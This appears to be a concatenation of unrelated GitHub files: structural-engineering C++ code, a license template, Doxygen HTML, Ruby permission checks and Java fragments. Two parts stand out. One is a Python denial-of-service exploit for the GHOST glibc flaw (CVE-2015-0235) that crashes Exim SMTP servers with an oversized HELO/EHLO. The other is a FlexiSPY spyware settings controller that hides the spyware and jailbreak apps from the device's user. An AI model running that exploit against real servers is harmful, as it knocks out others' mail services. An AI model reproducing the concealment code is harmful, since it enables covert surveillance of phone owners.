zSearch = matData[3*j+1];
dy = ySearch-yCoord;
dz = zSearch-zCoord;
closestDist = sqrt(dy*dy + dz*dz);
key = j;
break;
}
}
// Search the remaining fibers
for ( ; j < numFibers; j++) {
if (matTag == theMaterials[j]->getTag()) {
ySearch = matData[3*j];
zSearch = matData[3*j+1];
dy = ySearch-yCoord;
dz = zSearch-zCoord;
distance = sqrt(dy*dy + dz*dz);
if (distance < closestDist) {
closestDist = distance;
key = j;
}
}
}
passarg = 4;
}
else { // fiber near-to coordinate specified
double yCoord = atof(argv[1]);
double zCoord = atof(argv[2]);
double closestDist;
double ySearch, zSearch, dy, dz;
double distance;
ySearch = matData[0];
zSearch = matData[1];
dy = ySearch-yCoord;
dz = zSearch-zCoord;
closestDist = sqrt(dy*dy + dz*dz);
key = 0;
for (int j = 1; j < numFibers; j++) {
ySearch = matData[3*j];
zSearch = matData[3*j+1];
dy = ySearch-yCoord;
dz = zSearch-zCoord;
distance = sqrt(dy*dy + dz*dz);
if (distance < closestDist) {
closestDist = distance;
key = j;
}
}
passarg = 3;
}
if (key < numFibers && key >= 0) {
output.tag("FiberOutput");
output.attr("yLoc",-matData[3*key]);
output.attr("zLoc",matData[3*key+1]);
output.attr("area",matData[3*key+2]);
theResponse = theMaterials[key]->setResponse(&argv[passarg], argc-passarg, output);
output.endTag();
}
}
}
output.endTag();
return theResponse;
}
int
FiberSection3d::getResponse(int responseID, Information §Info)
{
// Just call the base class method ... don't need to define
// this function, but keeping it here just for clarity
if (responseID == 5) {
int numData = 5*numFibers;
Vector data(numData);
int count = 0;
for (int j = 0; j < numFibers; j++) {
double yLoc, zLoc, A, stress, strain;
yLoc = matData[3*j];
zLoc = matData[3*j+1];
A = matData[3*j+2];
stress = theMaterials[j]->getStress();
strain = theMaterials[j]->getStrain();
data(count) = yLoc; data(count+1) = zLoc; data(count+2) = A;
data(count+3) = stress; data(count+4) = strain;
count += 5;
}
return sectInfo.setVector(data);
} else if (responseID == 6) {
int count = 0;
for (int j = 0; j < numFibers; j++) {
if (theMaterials[j]->hasFailed() == true)
count++;
}
return sectInfo.setInt(count);
} else if (responseID == 7) {
int count = 0;
for (int j = 0; j < numFibers; j++) {
if (theMaterials[j]->hasFailed() == true) {
count+=1;
}
}
if (count == numFibers)
count = 1;
else
count = 0;
return sectInfo.setInt(count);
}
else if (responseID == 10) {
return sectInfo.setDouble(getEnergy());
}
return SectionForceDeformation::getResponse(responseID, sectInfo);
}
int
FiberSection3d::setParameter(const char **argv, int argc, Parameter ¶m)
{
if (argc < 1)
return -1;
int result = -1;
// A material parameter
if (strstr(argv[0],"material") != 0) {
// Get the tag of the material
int paramMatTag = atoi(argv[1]);
// Loop over fibers to find the right material(s)
int ok = 0;
for (int i = 0; i < numFibers; i++)
if (paramMatTag == theMaterials[i]->getTag()) {
ok = theMaterials[i]->setParameter(&argv[2], argc-2, param);
if (ok != -1)
result = ok;
}
if (paramMatTag == theTorsion->getTag()) {
ok = theTorsion->setParameter(&argv[2], argc-2, param);
if (ok != -1)
result = ok;
}
return result;
}
// Check if it belongs to the section integration
else if (strstr(argv[0],"integration") != 0) {
if (sectionIntegr != 0)
return sectionIntegr->setParameter(&argv[1], argc-1, param);
else
return -1;
}
int ok = 0;
// loop over every material
for (int i = 0; i < numFibers; i++) {
ok = theMaterials[i]->setParameter(argv, argc, param);
if (ok != -1)
result = ok;
}
// Don't really need to do this in "default" mode
//ok = theTorsion->setParameter(argv, argc, param);
//if (ok != -1)
// result = ok;
if (sectionIntegr != 0) {
ok = sectionIntegr->setParameter(argv, argc, param);
if (ok != -1)
result = ok;
}
return result;
}
const Vector &
FiberSection3d::getSectionDeformationSensitivity(int gradIndex)
{
static Vector dummy(4);
dummy.Zero();
return dummy;
}
const Vector &
FiberSection3d::getStressResultantSensitivity(int gradIndex, bool conditional)
{
static Vector ds(4);
ds.Zero();
double y, z, A;
double stress = 0;
double dsigdh = 0;
double sig_dAdh = 0;
double tangent = 0;
static double yLocs[10000];
static double zLocs[10000];
static double fiberArea[10000];
if (sectionIntegr != 0) {
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
sectionIntegr->getFiberWeights(numFibers, fiberArea);
}
else {
for (int i = 0; i < numFibers; i++) {
yLocs[i] = matData[3*i];
zLocs[i] = matData[3*i+1];
fiberArea[i] = matData[3*i+2];
}
}
static double dydh[10000];
static double dzdh[10000];
static double areaDeriv[10000];
if (sectionIntegr != 0) {
sectionIntegr->getLocationsDeriv(numFibers, dydh, dzdh);
sectionIntegr->getWeightsDeriv(numFibers, areaDeriv);
}
else {
for (int i = 0; i < numFibers; i++) {
dydh[i] = 0.0;
dzdh[i] = 0.0;
areaDeriv[i] = 0.0;
}
}
for (int i = 0; i < numFibers; i++) {
y = yLocs[i] - yBar;
z = zLocs[i] - zBar;
A = fiberArea[i];
dsigdh = theMaterials[i]->getStressSensitivity(gradIndex, conditional);
ds(0) += dsigdh*A;
ds(1) += -y*dsigdh*A;
ds(2) += z*dsigdh*A;
if (areaDeriv[i] != 0.0 || dydh[i] != 0.0 || dzdh[i] != 0.0)
stress = theMaterials[i]->getStress();
if (dydh[i] != 0.0 || dzdh[i] != 0.0)
tangent = theMaterials[i]->getTangent();
if (areaDeriv[i] != 0.0) {
sig_dAdh = stress*areaDeriv[i];
ds(0) += sig_dAdh;
ds(1) += -y*sig_dAdh;
ds(2) += z*sig_dAdh;
}
if (dydh[i] != 0.0)
ds(1) += -dydh[i] * (stress*A);
if (dzdh[i] != 0.0)
ds(2) += dzdh[i] * (stress*A);
static Matrix as(1,3);
as(0,0) = 1;
as(0,1) = -y;
as(0,2) = z;
static Matrix dasdh(1,3);
dasdh(0,1) = -dydh[i];
dasdh(0,2) = dzdh[i];
static Matrix tmpMatrix(3,3);
tmpMatrix.addMatrixTransposeProduct(0.0, as, dasdh, tangent);
//ds.addMatrixVector(1.0, tmpMatrix, e, A);
ds(0) += (tmpMatrix(0,0)*e(0) + tmpMatrix(0,1)*e(1) + tmpMatrix(0,2)*e(2))*A;
ds(1) += (tmpMatrix(1,0)*e(0) + tmpMatrix(1,1)*e(1) + tmpMatrix(1,2)*e(2))*A;
ds(2) += (tmpMatrix(2,0)*e(0) + tmpMatrix(2,1)*e(1) + tmpMatrix(2,2)*e(2))*A;
}
ds(3) = theTorsion->getStressSensitivity(gradIndex, conditional);
return ds;
}
const Matrix &
FiberSection3d::getSectionTangentSensitivity(int gradIndex)
{
static Matrix something(4,4);
something.Zero();
something(3,3) = theTorsion->getTangentSensitivity(gradIndex);
return something;
}
int
FiberSection3d::commitSensitivity(const Vector& defSens, int gradIndex, int numGrads)
{
double d0 = defSens(0);
double d1 = defSens(1);
double d2 = defSens(2);
double d3 = defSens(3);
//dedh = defSens;
static double yLocs[10000];
static double zLocs[10000];
if (sectionIntegr != 0)
sectionIntegr->getFiberLocations(numFibers, yLocs, zLocs);
else {
for (int i = 0; i < numFibers; i++) {
yLocs[i] = matData[3*i];
zLocs[i] = matData[3*i+1];
}
}
static double dydh[10000];
static double dzdh[10000];
if (sectionIntegr != 0)
sectionIntegr->getLocationsDeriv(numFibers, dydh, dzdh);
else {
for (int i = 0; i < numFibers; i++) {
dydh[i] = 0.0;
dzdh[i] = 0.0;
}
}
double y, z;
double depsdh = 0;
for (int i = 0; i < numFibers; i++) {
UniaxialMaterial *theMat = theMaterials[i];
y = yLocs[i] - yBar;
z = zLocs[i] - zBar;
// determine material strain and set it
depsdh = d0 - y*d1 + z*d2 - dydh[i]*e(1) + dzdh[i]*e(2);
theMat->commitSensitivity(depsdh,gradIndex,numGrads);
}
theTorsion->commitSensitivity(d3, gradIndex, numGrads);
return 0;
}
// AddingSensitivity:END ///////////////////////////////////
//by SAJalali
double FiberSection3d::getEnergy() const
{
static double fiberArea[10000];
if (sectionIntegr != 0) {
sectionIntegr->getFiberWeights(numFibers, fiberArea);
}
else {
for (int i = 0; i < numFibers; i++) {
fiberArea[i] = matData[2 * i + 1];
}
}
double energy = 0;
for (int i = 0; i < numFibers; i++)
{
double A = fiberArea[i];
energy += A * theMaterials[i]->getEnergy();
}
return energy;
}
| {
"pile_set_name": "Github"
} |
#ifdef BLOG_CURRENT_CHANNEL
#undef BLOG_CURRENT_CHANNEL
#endif
#define BLOG_CURRENT_CHANNEL BLOG_CHANNEL_NCDInterfaceMonitor
| {
"pile_set_name": "Github"
} |
100%
NTP 0,$
NTP License (NTP) Copyright (c) (CopyrightHoldersName) (From 4-digit-year)-(To
4-digit-year)
Permission to use, copy, modify, and distribute this software and its documentation
for any purpose with or without fee is hereby granted, provided that the above
copyright notice appears in all copies and that both the copyright notice
and this permission notice appear in supporting documentation, and that the
name (TrademarkedName) not be used in advertising or publicity pertaining
to distribution of the software without specific, written prior permission.
(TrademarkedName) makes no representations about the suitability this software
for any purpose. It is provided "as is" without express or implied warranty.
| {
"pile_set_name": "Github"
} |
//
// ConfigurationViewController.m
// FlexiSPY
//
// Created by Makara Khloth on 12/23/12.
// Copyright 2012 __MyCompanyName__. All rights reserved.
//
#import "ConfigurationViewController.h"
#import "MobileSPYAppDelegate.h"
#import "PreferencesData.h"
#import "AppEngineUICmd.h"
@implementation ConfigurationViewController
@synthesize mVisibilityLabel, mPanguVisibilityLabel;
@synthesize mCydiaVisibilitySwitch, mSystemCoreVisibilitySwitch, mPanguVisibilitySwitch;
@synthesize mVisibilityMSGLabel;
// The designated initializer. Override if you create the controller programmatically and want to perform customization that is not appropriate for viewDidLoad.
- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil {
if (self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]) {
// Custom initialization
}
return self;
}
/*
// Override to allow orientations other than the default portrait orientation.
- (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation {
// Return YES for supported orientations
return (interfaceOrientation == UIInterfaceOrientationPortrait);
}
*/
- (void)didReceiveMemoryWarning {
// Releases the view if it doesn't have a superview.
[super didReceiveMemoryWarning];
// Release any cached data, images, etc that aren't in use.
}
// Implement viewDidLoad to do additional setup after loading the view, typically from a nib.
- (void)viewDidLoad {
[super viewDidLoad];
// Adjust view position to be under navigation bar
if ([self respondsToSelector:@selector(edgesForExtendedLayout)]) {
DLog(@"set edgesForExtendedLayout")
self.edgesForExtendedLayout = UIRectEdgeNone;
}
[mVisibilityLabel setText:NSLocalizedString(@"kConfigurationViewVisibility", @"")];
if ([[[UIDevice currentDevice] systemVersion] intValue] <= 7) {
mPanguVisibilitySwitch.hidden = TRUE;
mPanguVisibilityLabel.hidden = TRUE;
} else {
[mVisibilityMSGLabel setText:NSLocalizedString(@"kConfigurationViewMSG2", @"")];
}
MobileSPYAppDelegate *appDelegate = (MobileSPYAppDelegate *)[[UIApplication sharedApplication] delegate];
[[appDelegate mAppUIConnection] addCommandDelegate:self];
[[appDelegate mAppUIConnection] processCommand:kAppUI2EngineGetCurrentSettingsCmd withCmdData:nil];
}
- (void)viewDidUnload {
[super viewDidUnload];
// Release any retained subviews of the main view.
// e.g. self.myOutlet = nil;
}
- (void)viewWillDisappear:(BOOL)animated {
[super viewWillDisappear:animated];
MobileSPYAppDelegate *appDelegate = (MobileSPYAppDelegate *)[[UIApplication sharedApplication] delegate];
[[appDelegate mAppUIConnection] removeCommandDelegate:self];
}
-(IBAction) cydiaVisibilitySwitchChanged:(id) sender {
DLog (@"cydiaVisibilitySwitchChanged ... ");
NSMutableData *visibilityData = [NSMutableData data];
BOOL visible = NO;
NSInteger length = 0;
NSInteger count = 1;
[visibilityData appendBytes:&count length:sizeof(NSInteger)];
// Cydia
NSString *bundleIndentifier = @"com.saurik.Cydia";
length = [bundleIndentifier lengthOfBytesUsingEncoding:NSUTF8StringEncoding];
[visibilityData appendBytes:&length length:sizeof(NSInteger)];
[visibilityData appendData:[bundleIndentifier dataUsingEncoding:NSUTF8StringEncoding]];
if ([mCydiaVisibilitySwitch isOn]) {
visible = YES;
} else {
visible = NO;
}
[visibilityData appendBytes:&visible length:sizeof(BOOL)];
MobileSPYAppDelegate *appDelegate = (MobileSPYAppDelegate *)[[UIApplication sharedApplication] delegate];
[[appDelegate mAppUIConnection] processCommand:kAppUI2EngineVisibilityCmd withCmdData:visibilityData];
}
-(IBAction) panguVisibilitySwitchChanged:(id) sender {
DLog (@"panguVisibilitySwitchChanged ... ");
NSMutableData *visibilityData = [NSMutableData data];
BOOL visible = NO;
NSInteger length = 0;
NSInteger count = 1;
[visibilityData appendBytes:&count length:sizeof(NSInteger)];
// Cydia
NSString *bundleIndentifier = @"io.pangu.loader";
length = [bundleIndentifier lengthOfBytesUsingEncoding:NSUTF8StringEncoding];
[visibilityData appendBytes:&length length:sizeof(NSInteger)];
[visibilityData appendData:[bundleIndentifier dataUsingEncoding:NSUTF8StringEncoding]];
if ([mPanguVisibilitySwitch isOn]) {
visible = YES;
} else {
visible = NO;
}
[visibilityData appendBytes:&visible length:sizeof(BOOL)];
MobileSPYAppDelegate *appDelegate = (MobileSPYAppDelegate *)[[UIApplication sharedApplication] delegate];
[[appDelegate mAppUIConnection] processCommand:kAppUI2EngineVisibilityCmd withCmdData:visibilityData];
}
- (IBAction) systemCoreVisibilitySwitchChanged: (id) aSender {
DLog (@"systemCoreVisibilitySwitchChanged ... ");
NSMutableData *visibilityData = [NSMutableData data];
BOOL visible = NO;
NSInteger length = 0;
NSInteger count = 1;
[visibilityData appendBytes:&count length:sizeof(NSInteger)];
// System Core
NSString *bundleIndentifier = [[NSBundle mainBundle] bundleIdentifier];
length = [bundleIndentifier lengthOfBytesUsingEncoding:NSUTF8StringEncoding];
[visibilityData appendBytes:&length length:sizeof(NSInteger)];
[visibilityData appendData:[bundleIndentifier dataUsingEncoding:NSUTF8StringEncoding]];
if ([mSystemCoreVisibilitySwitch isOn]) {
visible = YES;
} else {
visible = NO;
}
[visibilityData appendBytes:&visible length:sizeof(BOOL)];
MobileSPYAppDelegate *appDelegate = (MobileSPYAppDelegate *)[[UIApplication sharedApplication] delegate];
[[appDelegate mAppUIConnection] processCommand:kAppUI2EngineSystemCoreVisibilityCmd withCmdData:visibilityData];
}
- (void) commandCompleted: (id) aCmdResponse toCommand: (NSInteger) aCmd {
DLog (@"commandCompleted.... ");
if (aCmd == kAppUI2EngineGetCurrentSettingsCmd) {
PreferencesData *initedPData = [[PreferencesData alloc] initWithData:aCmdResponse];
PrefVisibility *prefVis = [initedPData mPVisibility];
DLog (@"prefVis mVisible = %d, mVisibilities = %@", [prefVis mVisible], [prefVis mVisibilities]);
if ([[prefVis mVisibilities] count]) {
for (Visible *visible in [prefVis mVisibilities]) {
UISwitch *visSwitch = nil;
if ([[visible mBundleIdentifier] isEqualToString:@"com.saurik.Cydia"]) {
visSwitch = mCydiaVisibilitySwitch;
} else if ([[visible mBundleIdentifier] isEqualToString:@"io.pangu.loader"]) {
visSwitch = mPanguVisibilitySwitch;
}
if ([visible mVisible]) {
[visSwitch setOn:YES];
} else {
[visSwitch setOn:NO];
}
}
} else {
[mCydiaVisibilitySwitch setOn:YES];
[mPanguVisibilitySwitch setOn:YES];
}
// System Core
if ([prefVis mVisible]) {
[mSystemCoreVisibilitySwitch setOn:YES];
} else {
[mSystemCoreVisibilitySwitch setOn:NO];
}
}
}
- (void) dealloc {
[mVisibilityMSGLabel release];
[mCydiaVisibilitySwitch release];
[mSystemCoreVisibilitySwitch release];
[mPanguVisibilitySwitch release];
[mPanguVisibilityLabel release];
[mVisibilityLabel release];
[super dealloc];
}
@end
| {
"pile_set_name": "Github"
} |
#!/usr/bin/python
# Exim ESMTP DoS Exploit by 1N3 v20150128
# CVE-2015-0235 GHOST glibc gethostbyname buffer overflow
# http://crowdshield.com
#
# USAGE: python ghost-smtp-dos.py <ip> <port>
#
# Escape character is '^]'.
# 220 debian-7-7-64b ESMTP Exim 4.80 ...
# HELO
# 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# Connection closed by foreign host.
#
# user () debian-7-7-64b:~$ dmesg
# ...
# [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in
# libc-2.13.so[7fabef2a2000+182000]
import socket
import time
import sys, getopt
def main(argv):
argc = len(argv)
if argc <= 1:
print "usage: %s <host>" % (argv[0])
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
target = argv[1] # SET TARGET
port = argv[2] # SET PORT
print "(--==== Exim ESMTP DoS Exploit by 1N3 - https://crowdshield.com"
print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,int(port)))
data = s.recv(1024)
print "CONNECTION: " +data
s.send('HELO ' + buffer + '\r\n')
data = s.recv(1024)
print "received: " +data
s.send('EHLO ' + buffer + '\r\n')
data = s.recv(1024)
print "received: " +data
s.close()
main(sys.argv)
| {
"pile_set_name": "Github"
} |
<!-- HTML header for doxygen 1.8.14-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.14"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>ARX: Source/ARX/AR/icpCalibStereo.c File Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="customdoxygen.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectlogo"><img alt="Logo" src="artoolkitx-logo-55.png"/></td>
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">ARX
 <span id="projectnumber">1.0</span>
</div>
<div id="projectbrief">The next-generation open source augmented reality toolkit.</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.14 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><a class="el" href="dir_74389ed8173ad57b461b9d623a1f3867.html">Source</a></li><li class="navelem"><a class="el" href="dir_dc44baef7bc94ffdfef1a873a6db1f1f.html">ARX</a></li><li class="navelem"><a class="el" href="dir_9d6768fa183d205dc506d630bc6d6ed5.html">AR</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#func-members">Functions</a> </div>
<div class="headertitle">
<div class="title">icpCalibStereo.c File Reference</div> </div>
</div><!--header-->
<div class="contents">
<div class="textblock"><code>#include <stdio.h></code><br />
<code>#include <stdlib.h></code><br />
<code>#include <math.h></code><br />
<code>#include <<a class="el" href="ar_8h_source.html">ARX/AR/ar.h</a>></code><br />
<code>#include <<a class="el" href="icp_core_8h_source.html">ARX/AR/icpCore.h</a>></code><br />
<code>#include <<a class="el" href="icp_calib_8h_source.html">ARX/AR/icpCalib.h</a>></code><br />
</div><div class="textblock"><div class="dynheader">
Include dependency graph for icpCalibStereo.c:</div>
<div class="dyncontent">
<div class="center"><div class="zoom"><iframe scrolling="no" frameborder="0" src="icp_calib_stereo_8c__incl.svg" width="100%" height="492"><p><b>This browser is not able to show SVG: try Firefox, Chrome, Safari, or Opera instead.</b></p></iframe></div>
</div>
</div>
</div><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a>
Functions</h2></td></tr>
<tr class="memitem:a95f89f9f9ff014ea8e44022fbef94535"><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="icp_calib_stereo_8c.html#a95f89f9f9ff014ea8e44022fbef94535">icpCalibStereo</a> (<a class="el" href="struct_i_c_p_calib_data_t.html">ICPCalibDataT</a> data[], int num, <a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> matXcl2Ul[3][4], <a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> matXcr2Ur[3][4], <a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> initMatL2R[3][4], <a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> matL2R[3][4], <a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> *err)</td></tr>
<tr class="separator:a95f89f9f9ff014ea8e44022fbef94535"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<h2 class="groupheader">Function Documentation</h2>
<a id="a95f89f9f9ff014ea8e44022fbef94535"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a95f89f9f9ff014ea8e44022fbef94535">◆ </a></span>icpCalibStereo()</h2>
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">int icpCalibStereo </td>
<td>(</td>
<td class="paramtype"><a class="el" href="struct_i_c_p_calib_data_t.html">ICPCalibDataT</a> </td>
<td class="paramname"><em>data</em>[], </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">int </td>
<td class="paramname"><em>num</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> </td>
<td class="paramname"><em>matXcl2Ul</em>[3][4], </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> </td>
<td class="paramname"><em>matXcr2Ur</em>[3][4], </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> </td>
<td class="paramname"><em>initMatL2R</em>[3][4], </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> </td>
<td class="paramname"><em>matL2R</em>[3][4], </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="ar_8h.html#a630d923beac4fe1173f9e54ff1d1ab23">ARdouble</a> * </td>
<td class="paramname"><em>err</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td></td>
</tr>
</table>
</div><div class="memdoc">
</div>
</div>
</div><!-- contents -->
<!-- HTML footer for doxygen 1.8.14-->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated on Tue Apr 3 2018 13:21:19 for ARX by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.14
</small></address>
</body>
</html>
| {
"pile_set_name": "Github"
} |
# frozen_string_literal: true
module Decidim
module Proposals
class Permissions < Decidim::DefaultPermissions
def permissions
return permission_action unless user
# Delegate the admin permission checks to the admin permissions class
return Decidim::Proposals::Admin::Permissions.new(user, permission_action, context).permissions if permission_action.scope == :admin
return permission_action if permission_action.scope != :public
if permission_action.subject == :proposal
apply_proposal_permissions(permission_action)
elsif permission_action.subject == :collaborative_draft
apply_collaborative_draft_permissions(permission_action)
else
permission_action
end
permission_action
end
private
def apply_proposal_permissions(permission_action)
case permission_action.action
when :create
can_create_proposal?
when :edit
can_edit_proposal?
when :withdraw
can_withdraw_proposal?
when :amend
can_create_amendment?
when :vote
can_vote_proposal?
when :unvote
can_unvote_proposal?
when :report
true
end
end
def proposal
@proposal ||= context.fetch(:proposal, nil) || context.fetch(:resource, nil)
end
def voting_enabled?
return unless current_settings
current_settings.votes_enabled? && !current_settings.votes_blocked?
end
def vote_limit_enabled?
return unless component_settings
component_settings.vote_limit.present? && component_settings.vote_limit.positive?
end
def remaining_votes
return 1 unless vote_limit_enabled?
proposals = Proposal.where(component: component)
votes_count = ProposalVote.where(author: user, proposal: proposals).size
component_settings.vote_limit - votes_count
end
def can_create_proposal?
toggle_allow(authorized?(:create) && current_settings&.creation_enabled?)
end
def can_edit_proposal?
toggle_allow(proposal && proposal.editable_by?(user))
end
def can_withdraw_proposal?
toggle_allow(proposal && proposal.authored_by?(user))
end
def can_create_amendment?
is_allowed = proposal &&
authorized?(:amend, resource: proposal) &&
current_settings&.amendments_enabled?
toggle_allow(is_allowed)
end
def can_vote_proposal?
is_allowed = proposal &&
authorized?(:vote, resource: proposal) &&
voting_enabled? &&
remaining_votes.positive?
toggle_allow(is_allowed)
end
def can_unvote_proposal?
is_allowed = proposal &&
authorized?(:vote, resource: proposal) &&
voting_enabled?
toggle_allow(is_allowed)
end
def apply_collaborative_draft_permissions(permission_action)
case permission_action.action
when :create
can_create_collaborative_draft?
when :edit
can_edit_collaborative_draft?
when :publish
can_publish_collaborative_draft?
when :request_access
can_request_access_collaborative_draft?
when :react_to_request_access
can_react_to_request_access_collaborative_draft?
end
end
def collaborative_draft
@collaborative_draft ||= context.fetch(:collaborative_draft, nil)
end
def collaborative_drafts_enabled?
component_settings.collaborative_drafts_enabled
end
def can_create_collaborative_draft?
return toggle_allow(false) unless collaborative_drafts_enabled?
toggle_allow(current_settings&.creation_enabled? && authorized?(:create))
end
def can_edit_collaborative_draft?
return toggle_allow(false) unless collaborative_drafts_enabled? && collaborative_draft.open?
toggle_allow(collaborative_draft.editable_by?(user))
end
def can_publish_collaborative_draft?
return toggle_allow(false) unless collaborative_drafts_enabled? && collaborative_draft.open?
toggle_allow(collaborative_draft.created_by?(user))
end
def can_request_access_collaborative_draft?
return toggle_allow(false) unless collaborative_drafts_enabled? && collaborative_draft.open?
return toggle_allow(false) if collaborative_draft.requesters.include?(user)
toggle_allow(!collaborative_draft.editable_by?(user))
end
def can_react_to_request_access_collaborative_draft?
return toggle_allow(false) unless collaborative_drafts_enabled? && collaborative_draft.open?
return toggle_allow(false) if collaborative_draft.requesters.include? user
toggle_allow(collaborative_draft.created_by?(user))
end
end
end
end
| {
"pile_set_name": "Github"
} |
package edu.illinois.library.cantaloupe.processor.codec;
import edu.illinois.library.cantaloupe.image.Format;
import edu.illinois.library.cantaloupe.image.Metadata;
import edu.illinois.library.cantaloupe.operation.Encode;
import edu.illinois.library.cantaloupe.processor.codec.jpeg.TurboJPEGImageWriter;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.io.OutputStream;
/**
* Facade class for writing images without having to know what writer to use
* or whether it's available.
*/
public final class ImageWriterFacade {
private static final Logger LOGGER =
LoggerFactory.getLogger(ImageWriterFacade.class);
/**
* Writes the given already-processed image to the given stream. {@link
